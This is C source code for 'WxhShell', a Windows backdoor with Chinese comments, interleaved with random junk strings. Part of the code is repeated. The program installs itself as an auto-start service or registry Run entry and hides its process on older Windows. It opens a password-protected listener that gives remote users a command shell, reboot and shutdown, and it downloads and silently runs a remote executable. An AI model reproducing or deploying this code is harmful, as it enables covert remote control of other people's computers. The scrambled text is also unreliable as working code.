I3 wF g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,PG d g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ym*,X@Qg^ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v=n'#:k 'k|?M if (!NtQueryInformationProcess) return 0; 1<Vc[p& [Yt!uhww hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i1ph{;C if(!hProcess) return 0; Q_p!;3 Ie 3
F if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EBF608nWfW 8Lm}x_
CloseHandle(hProcess); Obl']Hr{y9 1.+w&Y5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UclQo~3 if(hProcess==NULL) return 0; gQ]WNJ~> x,kZ>^]&b HMODULE hMod; <@;Y.76~ char procName[255]; ^1d"Rqtv unsigned long cbNeeded; >3R%GNw 1PwqWg-\\ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JE~ci#|! `Qzga}`"] CloseHandle(hProcess); FcR(uv< P\"|b\O1 if(strstr(procName,"services")) return 1; // 以服务启动 RS`]>K3t aBV{Xr~#( return 0; // 注册表启动 h/9{E:ML } vfW [Tha
j // 主模块 .SdHFWx int StartWxhshell(LPSTR lpCmdLine) J{98x zb { ZzDE SOCKET wsl; k!/"J
; BOOL val=TRUE; NL})_.Og int port=0; cO$
PK struct sockaddr_in door; !L3M\Q0 9S"c-"y\# if(wscfg.ws_autoins) Install(); {Vz.|
a[T yGN@Hd:9 port=atoi(lpCmdLine); +8+@Az[e0 E;l|I
A/7 if(port<=0) port=wscfg.ws_port; d8 1u 'qRK6}"T
WSADATA data; INQ0h `T if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {3RY4HVT? ?A|8J5EV if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ,Lt+*!;m setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 79:Wo>C3- door.sin_family = AF_INET; vfG4PJ 6 door.sin_addr.s_addr = inet_addr("127.0.0.1"); /I2RU2|B door.sin_port = htons(port); }{Y)[w#R d/>owCwQ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |%JJ
S^) closesocket(wsl); #*^vd{fl return 1; v?b9TE } cP[3p: Y,O)"6ev if(listen(wsl,2) == INVALID_SOCKET) { _=RA-qZ" closesocket(wsl); n-m+@jR z return 1; nBs%k!RR } K-Bf=7F, Wxhshell(wsl); v,t&t9}/ WSACleanup(); Z5aU7 %mR roR6 return 0; D3#/*Ky e(/~;"r{ } [jl'5l d ` aTkIo:ms // 以NT服务方式启动 fm2,Mx6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :O:Rfmr~ { p8<Y5:` DWORD status = 0; V"n0"\k, DWORD specificError = 0xfffffff; eto3dJ!R %AbA(F serviceStatus.dwServiceType = SERVICE_WIN32; XCU.tWR: serviceStatus.dwCurrentState = SERVICE_START_PENDING; HA%%WSuf serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u}u;jTi>2 serviceStatus.dwWin32ExitCode = 0; Pf
s _s6 serviceStatus.dwServiceSpecificExitCode = 0; f(.@]eu
X serviceStatus.dwCheckPoint = 0; @MIBW)P< serviceStatus.dwWaitHint = 0; r(` ;CY]@ w[w{~`([", hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Vx_lI
#3 if (hServiceStatusHandle==0) return; t59"[kQ 4`@]jm status = GetLastError(); |B&KT if (status!=NO_ERROR) XHuY'\;- { uN bOtA serviceStatus.dwCurrentState = SERVICE_STOPPED; X%W_cb2 serviceStatus.dwCheckPoint = 0; Dt,b\6 serviceStatus.dwWaitHint = 0; 1Sox@Ko serviceStatus.dwWin32ExitCode = status; BcaMeb-Z serviceStatus.dwServiceSpecificExitCode = specificError; t1p} SetServiceStatus(hServiceStatusHandle, &serviceStatus); )&di
c6r return; LO@.aJpp
} J<x?bIetj Eq-fR~<9 serviceStatus.dwCurrentState = SERVICE_RUNNING; G)\s{qk serviceStatus.dwCheckPoint = 0; 8cn)ox|J[ serviceStatus.dwWaitHint = 0; `j*&F8} if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Pxu!,Mi[d } [^r0red Q\G8R^9j p // 处理NT服务事件,比如:启动、停止 R?Y#>K VOID WINAPI NTServiceHandler(DWORD fdwControl) -jsNAQ { ]T\K-;i switch(fdwControl) |D)NPN& { ty]JUvR@ case SERVICE_CONTROL_STOP: dDN#>| serviceStatus.dwWin32ExitCode = 0; @`2<^-r\ serviceStatus.dwCurrentState = SERVICE_STOPPED; M.1bRB serviceStatus.dwCheckPoint = 0; r,=xI`XH serviceStatus.dwWaitHint = 0; >T{9-_#P { \7Hzj0hSi SetServiceStatus(hServiceStatusHandle, &serviceStatus); :@w
;no>=* } KL]K< A return; B`OggdE case SERVICE_CONTROL_PAUSE: NL&(/72V serviceStatus.dwCurrentState = SERVICE_PAUSED; GL&ri!, break; |33pf7o case SERVICE_CONTROL_CONTINUE: /b,+YyWi% serviceStatus.dwCurrentState = SERVICE_RUNNING; @K36?d]e break;
VVeO>j d case SERVICE_CONTROL_INTERROGATE: LFy5tX# break; Wq
7
c/| }; zsA6(?)u SetServiceStatus(hServiceStatusHandle, &serviceStatus); L*bUjR,C } %Rv&VFg >FPE%X0+ // 标准应用程序主函数 !q~s-~d^ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Py\xN { G T#hqt'1x pI7\]e // 获取操作系统版本 fI[tU(x OsIsNt=GetOsVer(); aWek<Y~+ GetModuleFileName(NULL,ExeFile,MAX_PATH); dluNA(Xc- J]i=SX+ 9 // 从命令行安装 5%D:wS1 if(strpbrk(lpCmdLine,"iI")) Install(); 6FG h=~{3, K"Vv= // 下载执行文件 o!L1Qrh if(wscfg.ws_downexe) { wxpD{P if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~R-S$qizAC WinExec(wscfg.ws_filenam,SW_HIDE); (:2:_FL } EU]{S=T *MW)APw= if(!OsIsNt) { `48jL3| // 如果时win9x,隐藏进程并且设置为注册表启动 _z\oDd`' HideProc(); 1i#uKKwE StartWxhshell(lpCmdLine); hXM8`iFW5 } eS fT+UL else s4P8PDhz if(StartFromService()) E4[
|=< // 以服务方式启动 HxAq& J;xu StartServiceCtrlDispatcher(DispatchTable); UBqA[9 else xB3;%Lc // 普通方式启动 ?XL [[vyr StartWxhshell(lpCmdLine); ^Tc&?\3 J}EQ_FC"$ return 0; 5tHv'@ } ^M6v;8EU "5%G[MB Tk$rwTCl :Gqyj_|< =========================================== D/:~#) H`]nY`HYg m'Z233Nt" ~6.AE/ow G%S=K2v X<\^*{ " /:>qhRFJA: Smo^/K`f9 #include <stdio.h> ]8ua>1XS #include <string.h> WRZi^B8@ #include <windows.h> -en:81a# #include <winsock2.h> !vfjo[v
#include <winsvc.h> 5[`!\vCiZ #include <urlmon.h> tf|/_Y2 U4%d# #pragma comment (lib, "Ws2_32.lib") iU9de #pragma comment (lib, "urlmon.lib") .x$+R%5U wX8T;bo& #define MAX_USER 100 // 最大客户端连接数 N\=pH{ #define BUF_SOCK 200 // sock buffer zCL/^^# #define KEY_BUFF 255 // 输入 buffer Namw[TgJ bM_Y(TgJ #define REBOOT 0 // 重启 vrm[sP #define SHUTDOWN 1 // 关机 .a:"B\B` wblEx/FqE^ #define DEF_PORT 5000 // 监听端口 Ge@./SGT '?E^\\"* #define REG_LEN 16 // 注册表键长度 go m<V?$ #define SVC_LEN 80 // NT服务名长度 %*e6@Hm CY)/1 # J // 从dll定义API dn$1OhN8M typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 15r,_Gp8 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d,iW#, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OZ&J'Y typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UMm<HQ 8/U=~*`_ // wxhshell配置信息 '{\VOU struct WSCFG { yX$I<L<Suz int ws_port; // 监听端口 ?}m/Q"!1 char ws_passstr[REG_LEN]; // 口令 C 6Bh[:V& int ws_autoins; // 安装标记, 1=yes 0=no *I`Sc|A char ws_regname[REG_LEN]; // 注册表键名 M<r'j $g char ws_svcname[REG_LEN]; // 服务名 h/5n+*x( char ws_svcdisp[SVC_LEN]; // 服务显示名 W tnZF]1:u char ws_svcdesc[SVC_LEN]; // 服务描述信息 a)MjX<y char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t] P[>{y int ws_downexe; // 下载执行标记, 1=yes 0=no Pr{? A]dQ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &1%W-&bc6 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2JYp.CJv pM@|P,w { }; <wFR%Y/j 8;4vr@EV // default Wxhshell configuration F}DdErd!f struct WSCFG wscfg={DEF_PORT, r*N:-I~z "xuhuanlingzhe", (BVLlOo?J 1, >{~W" "Wxhshell", Ra'0 ^4t "Wxhshell", -?!|W-}@G= "WxhShell Service", >1`FRw< "Wrsky Windows CmdShell Service", muQH!Q "Please Input Your Password: ", s!~M,zsQN 1, l\-1W2 "http://www.wrsky.com/wxhshell.exe", mk~i (Ee "Wxhshell.exe" bESmKe( }; VjtI1I {W3%n* q // 消息定义模块 w
(W+Y+up char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~cz]Rhq char *msg_ws_prompt="\n\r? for help\n\r#>"; i5?)E7- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b3wE8Co char *msg_ws_ext="\n\rExit."; 8X!UtHml char *msg_ws_end="\n\rQuit."; &0K;Vr~D char *msg_ws_boot="\n\rReboot..."; K7FuMB char *msg_ws_poff="\n\rShutdown..."; N6c']!aM@ char *msg_ws_down="\n\rSave to "; (sW:^0 p Dw%>y93V char *msg_ws_err="\n\rErr!"; 6TbDno/!' char *msg_ws_ok="\n\rOK!"; o$'Fz[U (zWzF_v char ExeFile[MAX_PATH]; -g]/Ko]2@$ int nUser = 0; n!|K# HANDLE handles[MAX_USER]; zid?yuP int OsIsNt; fPiq
RV.zxPw>> SERVICE_STATUS serviceStatus; {p|OKf SERVICE_STATUS_HANDLE hServiceStatusHandle; ;Z-Cn. y%|nE(( // 函数声明 VBF3N5
;W int Install(void); 7$z")JB int Uninstall(void); ibl^A= int DownloadFile(char *sURL, SOCKET wsh); -3/:Dk`3 int Boot(int flag); LXVm0IOFF void HideProc(void); iv?'&IUfK int GetOsVer(void); K)]7e?:Wu int Wxhshell(SOCKET wsl); ;8JJ#ED void TalkWithClient(void *cs); Fla[YWS int CmdShell(SOCKET sock); 7ZET@ int StartFromService(void); VD,F?L! int StartWxhshell(LPSTR lpCmdLine); X9/V;! Mw?nIIu(@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .lb2`!'r& VOID WINAPI NTServiceHandler( DWORD fdwControl ); Oe'Nn250
oZ& ns!# // 数据结构和表定义 YUF!Y9! SERVICE_TABLE_ENTRY DispatchTable[] =
UQ$dO2^ { Q# }} 1}Ja {wscfg.ws_svcname, NTServiceMain}, 022YuqL<v {NULL, NULL} _R1UEE3M }; 5dMIv<#T` 'P)xY-15 // 自我安装 o2W pi int Install(void) [{Fr{La`D' { vROl}s; char svExeFile[MAX_PATH]; :GIY"l' HKEY key; )"m FlS<I strcpy(svExeFile,ExeFile); `-\4Dx1!q l'W?X ' // 如果是win9x系统,修改注册表设为自启动
p[0Ws460 if(!OsIsNt) { #"O9\X/B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zr&K0a{hc RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zf$OC}|\w RegCloseKey(key); !#rZeDmw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K^J;iu 4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j~\\,fl= RegCloseKey(key); C]WVH\Pp return 0; 7Hf6$2Wh } W$EX6jTGI } lDe9EJR } /_*: else { <!y_L5S| (dpBGt@ // 如果是NT以上系统,安装为系统服务 |QAmN>7U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E-X-LR{CC if (schSCManager!=0) 5>j,P { 3dcZ1Yrn SC_HANDLE schService = CreateService ?b#/*T}ac ( )Si`>o3T-. schSCManager, xE9^4-Px* wscfg.ws_svcname, iFF/[P wscfg.ws_svcdisp, T(a*d7 SERVICE_ALL_ACCESS, +O j28vR SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'V4.umj1~ SERVICE_AUTO_START, ^P"t
" SERVICE_ERROR_NORMAL, 2EG"xA5% svExeFile, np=m~k NULL, s_zZ@azJ NULL, q<oA%yR NULL, ++R-_oQ NULL, \Vm{5[ :SA NULL 6jCg7Su] ); d^ipf*aLC if (schService!=0) m( B6FPjr { QdO$,i' CloseServiceHandle(schService); GS8,mQ8l*l CloseServiceHandle(schSCManager); 0Yfk/}5 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nqgfAQsE) strcat(svExeFile,wscfg.ws_svcname); z]Ql/AK if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [<wy@W RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $N,9e RegCloseKey(key); 8'^eH1d' return 0; @{+*ea7M(` } +8Peh9" } h=`rZC
CloseServiceHandle(schSCManager); <u->hT } oS_'@u.5 } CdWGb[uI ;1(OC-2>d return 1; ? 1Z\=s } [C771~BL> iW*0V3 // 自我卸载 XKks j!'B int Uninstall(void) -7=pb#y { (c(?s`; HKEY key; hzKfYJcQ| QfcW if(!OsIsNt) { g](m& O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |
@di<d@ RegDeleteValue(key,wscfg.ws_regname); vaTXu* RegCloseKey(key); `kekc.*-[@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f fE%{B? RegDeleteValue(key,wscfg.ws_regname); b#82G`6r RegCloseKey(key); ?W.Y
x7c return 0; RL)'m } ;uba } fC~WuG3 } +XY}- else { ef!I |.FW jj.]R+.G SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z,2m7C if (schSCManager!=0) l#Qf8*0 { v'_tna6`O SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9^c_^-8n<} if (schService!=0) [FC%_R&& { ?.4.Ubc\ if(DeleteService(schService)!=0) { PN\2 ^@>_ CloseServiceHandle(schService); ?d_<S0j-) CloseServiceHandle(schSCManager); gO$!_!@LM return 0; OW #pBeX99 } ](Sp0t CloseServiceHandle(schService); kkzXv`+ } @|d|orMC CloseServiceHandle(schSCManager); \!w7N
:m } >!a*wf~] } wHIS}OONz
> }:6m return 1; W?6RUyMC$T } HX<5i>]0\u BF]b\/I // 从指定url下载文件 wz:w R+ int DownloadFile(char *sURL, SOCKET wsh) =)y=M!T2 { -2Ub'*qK HRESULT hr; ueqR@i char seps[]= "/"; kM9E)uT>(< char *token; fY-{,+ `' char *file; >O?EFd>E char myURL[MAX_PATH]; bfrBHW# char myFILE[MAX_PATH]; Ad`;O+/; wk-ziw strcpy(myURL,sURL); HPt" token=strtok(myURL,seps); 8ALYih7"W while(token!=NULL) /yH:u r { .c BJA&/ file=token; `aSz"4Wd token=strtok(NULL,seps); <M 7WWtmx } ]huqZI /Wzic+v<> GetCurrentDirectory(MAX_PATH,myFILE); &d6'$h:kHb strcat(myFILE, "\\"); f PDnkr strcat(myFILE, file); .Mm8\]. send(wsh,myFILE,strlen(myFILE),0); ]Oe#S"-Oo send(wsh,"...",3,0); ?BLd~L+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @AWKEo<7.I if(hr==S_OK) u2BVQ<SA return 0; `U?;9!|;6 else 1?mQ
fW@G return 1; D^f;dT;- /Nxy?g|, } <.= P$w0.XZa // 系统电源模块 Gn&)*qCO int Boot(int flag) LQR9S/?Ld { -3bl!9h^ HANDLE hToken; *6=[Hmygi TOKEN_PRIVILEGES tkp; 7gPkg63 yyBfLPXZ if(OsIsNt) { s8 3_Bd OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dD!} P$ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I`FH^= tkp.PrivilegeCount = 1; L,\ Yj tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9 ?h)U|J?G AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P\w.:.2 if(flag==REBOOT) { gLu#M:4N if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i7Y96] return 0; ZW*"Kok } O/0m|~`iY else { fMhMB |W. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C>t1~^Q},9 return 0; n,n]V$HFGh } nq A>
}A
} [@.%6aD else { r;}kw(ukC if(flag==REBOOT) { u:"mq.Q if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <7u*OYjA return 0; J/ <[irC } He&dVP else { #*?5 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =V%s^ return 0; 2hu;N } piY=(y&3 } Q9?/)&3Bu KxK$Y.y] return 1; uFG]8pj2V1 } mu|#(u t$R|lv5< // win9x进程隐藏模块 HWD
void HideProc(void) }U%2)M { ;l+3l
ez '$4o,GA8 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p@>_1A}qh_ if ( hKernel != NULL ) Sxf<8Px9i { vM|?;QM pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rEs,o3h?po ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uiM*!ge FreeLibrary(hKernel); ~kw[Aw3?D\ } 5\RKT)%X ;lnh;0B return; Y <Ta2H } KS3
/ fg+Q7'*Vq // 获取操作系统版本 h#'(UZ int GetOsVer(void) fMI4'.Od { :!'aP\uE OSVERSIONINFO winfo;
Tld%NE winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y(W>([59 GetVersionEx(&winfo); )z$VQ=]" if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]X;Ty\UD& return 1; 97NF*-)N else wp$CJ09f* return 0; Bp>%'L } Vb|DNl@ eHm! // 客户端句柄模块 a]BnHLx int Wxhshell(SOCKET wsl) a[[u>oHyd { x]XhWScr' SOCKET wsh; _(TavL>l
= struct sockaddr_in client; =-1d m+P DWORD myID; Qte=<Z) qun#z$ while(nUser<MAX_USER) Iy6"2$%a { 9)3ok#pQ/ int nSize=sizeof(client); #ZeZs 31 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a
UAPh if(wsh==INVALID_SOCKET) return 1; `oXUVr w}K<,5I> handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t8E'd:pE if(handles[nUser]==0) 218ZUg -a closesocket(wsh); ?SkYFa`u* else J`Q#p%W nUser++; -r_z,h| } @;"HslU\Q WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2_
< yE.
ZvvQA return 0; @{j'Pf' } r8pTtf#Q (S&X??jfB5 // 关闭 socket mrS:||,_ void CloseIt(SOCKET wsh) V+W,#5 { JLp.bxx closesocket(wsh); ^
RU"v> nUser--; [mYmrLs6 ExitThread(0); w(]Q` } h?p&9[e` A?06fo, // 客户端请求句柄 b6 &`]O;% void TalkWithClient(void *cs) w[qWr@
{ wwF]+w%lOw >t.2!Z_RQ SOCKET wsh=(SOCKET)cs; N0,.cd]y` char pwd[SVC_LEN]; rgWGe6;! char cmd[KEY_BUFF]; B-
N char chr[1]; .36z int i,j; lBvQ?CJ<y JM0'V0z while (nUser < MAX_USER) { MW=2GhD= vZ\~+qV,A if(wscfg.ws_passstr) { N1jj\.nB if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8sOM%y9M //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~vy_~|6s //ZeroMemory(pwd,KEY_BUFF); Nc()$Nl8 i=0; S^HuQe!# while(i<SVC_LEN) { n{J<7I e"* m2AA:u_*j // 设置超时 ExqI=k`Zs fd_set FdRead; CaX&T2( struct timeval TimeOut; zHw[`"[ FD_ZERO(&FdRead); R;,+0r^i FD_SET(wsh,&FdRead); RcitW;{|Kg TimeOut.tv_sec=8; ^n"ve2 TimeOut.tv_usec=0; `PnB<rf:*1 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -)(HG)3 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u* G|TF ^|5bK_Z& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HA&][%^ pwd=chr[0]; Gdq _T* if(chr[0]==0xd || chr[0]==0xa) { LGGC=;{} pwd=0; JeU|e$I4> break; js/N qf2> } LSv0zAIe/ i++; tJy6\~ } P(8zJk6h), R@-rc|FunJ // 如果是非法用户,关闭 socket \74+ cN if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pPem;i^~ } >_XRh O+A/thI%*S send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SsiAyQ|Ma send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T B~C4H K= OV8Y)%t" while(1) { 73OFFKbsk E#X(0(A) ZeroMemory(cmd,KEY_BUFF); WDNuR#J? a^t#kdT // 自动支持客户端 telnet标准 D6@c& j=0; 6 6WAD$8$ while(j<KEY_BUFF) { `O ?61YUQH if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fx2r\ usX[ cmd[j]=chr[0]; O$ui:<]dS if(chr[0]==0xa || chr[0]==0xd) { 9ar+P h@* cmd[j]=0; nm2bBX,fh break; ZG+8kt!w } Hz&a~ j++; e$}x;&c Q } //S/pCqED GZ(
W64 // 下载文件 AAUFX/}8P if(strstr(cmd,"http://")) { U<QO@5 send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9;KQ3.Fa}q if(DownloadFile(cmd,wsh)) ~'k.'O{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); "u:5 else 4/e|N#1`;[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~{lSc/SP| } 8i"v7} else { o|FjNL FY1
>{Bn switch(cmd[0]) { OOJg%y*H =E?kxf[X // 帮助 ;cKN5#7 case '?': { "X<vgM^: send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +ve S~ break; r$<-2lW } ;Qe-y|> // 安装 H8@1Kt case 'i': { =UY)U- if(Install()) ypyqf55gK send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5DB4 vh else ((OQs. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IqEE.XhaK break; %@Mv-A6) } V?pqKQL0 // 卸载 /Wos{}Z0 case 'r': { REqQJ7a/ if(Uninstall()) gt]k#(S send(wsh,msg_ws_err,strlen(msg_ws_err),0); U~h
f,Oxi else }XHB7, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J)7m::%I break; EyU 5r$G } .tRp // 显示 wxhshell 所在路径 B<^yT@Wc case 'p': { i{T mn char svExeFile[MAX_PATH]; %0-fn' strcpy(svExeFile,"\n\r"); 'F-;uN strcat(svExeFile,ExeFile); ,v^A;,q send(wsh,svExeFile,strlen(svExeFile),0); `4GEq2% break; @-B)a Z } K9z 1'k QH // 重启 $qndG,([F case 'b': { .5?e)o) send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @q(sig00nr if(Boot(REBOOT)) F"|OcKAA}h send(wsh,msg_ws_err,strlen(msg_ws_err),0); irZMgRQAT else { :`jB1rI closesocket(wsh); VK)vb.: ExitThread(0); 2lb HUK } Sm7O%V8{p break; r^g"%nq9/ }
EU5^"\ // 关机 9-B/n0 case 'd': {
,>C`| send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W{@,DQ if(Boot(SHUTDOWN)) .<fn+] send(wsh,msg_ws_err,strlen(msg_ws_err),0); S1vUP5cZ else { =\ek;d0Tqb closesocket(wsh); 6y0CEly>3# ExitThread(0); o&U'zaj } UR{OrNg* break; $c1zMkY)u } y"I8^CA // 获取shell TWU[/>K case 's': { )(/Bw&$ CmdShell(wsh); 6 d;_} closesocket(wsh); > r
%:!o ExitThread(0); 7=wPd4
break; #{8t
?v l } O)FkpZc@9c // 退出 Zws[C case 'x': { C
CDO8 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bxc!x>) CloseIt(wsh); =".sCV9"N break; LlF|VR&P. } F'^y?UP[ // 离开 xoB "hNIX case 'q': { c,,(s{1 send(wsh,msg_ws_end,strlen(msg_ws_end),0); @{ CP18~: closesocket(wsh); IW>\\&pJ WSACleanup(); j
e;^i,& exit(1); 1nZ7xCDK98 break; eZbT; } 8mnzxtk } Y$4dqn } *eEn8rAr u-k!h // 提示信息 y,F|L?dIq if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +\GuZ5` } 8b|m6 6#| } dXMO{*MF{H +'`I]K> return; ^@-qnU lH } i}_d&.DbF 6xW17P // shell模块句柄 N
6t `45 int CmdShell(SOCKET sock) C%QC^,KL { sOBuJx${m STARTUPINFO si; rhH !-`m ZeroMemory(&si,sizeof(si)); BnPL>11Y si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7: .bqRu si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZK?:w^Z PROCESS_INFORMATION ProcessInfo; b l]YPx8 char cmdline[]="cmd"; MngfXm CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )#0Llx! return 0; #(dERET* } J?[}h&otQ 1vL$k[^&d // 自身启动模式 Z*kZUx7I< int StartFromService(void) z\6/?5D#v { VK/i5yT5N typedef struct - *_"ZgE { ^SJa/I EZ. DWORD ExitStatus; 9 Xx4,#? DWORD PebBaseAddress; tRzo}_+N DWORD AffinityMask; .9u,54t DWORD BasePriority; 1Jn:huV2 ULONG UniqueProcessId; mqv!"rk'w ULONG InheritedFromUniqueProcessId; 5%%A2FrB.S } PROCESS_BASIC_INFORMATION; 5:x .< 8+U':xR PROCNTQSIP NtQueryInformationProcess; -"X}
)N2 R WK##VHK static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i \u"+:j static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ' $5o5\ WgC*bp{ HANDLE hProcess; $jKeJn8, PROCESS_BASIC_INFORMATION pbi; Xn:ac^ J"O#w BM9 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i4*!t.eI if(NULL == hInst ) return 0; `@r#o& js8GK g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O-K!Bv^
Q g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `Ao;xOJ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S&m5]h!D D$[/|%3 if (!NtQueryInformationProcess) return 0; `%M}
:T q'p>__Ox hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^Wz3 q-^ if(!hProcess) return 0; `L<)9* -!p-nk@9| if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ds9`AiCW> e{x|d?)8 CloseHandle(hProcess); S.Fip_ r
,,A% hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^. i;, if(hProcess==NULL) return 0; pd{;`EW| YJ{d\j HMODULE hMod; 'd@Vusq}2 char procName[255]; 4$+9k;m' unsigned long cbNeeded; _\Cd. +6*
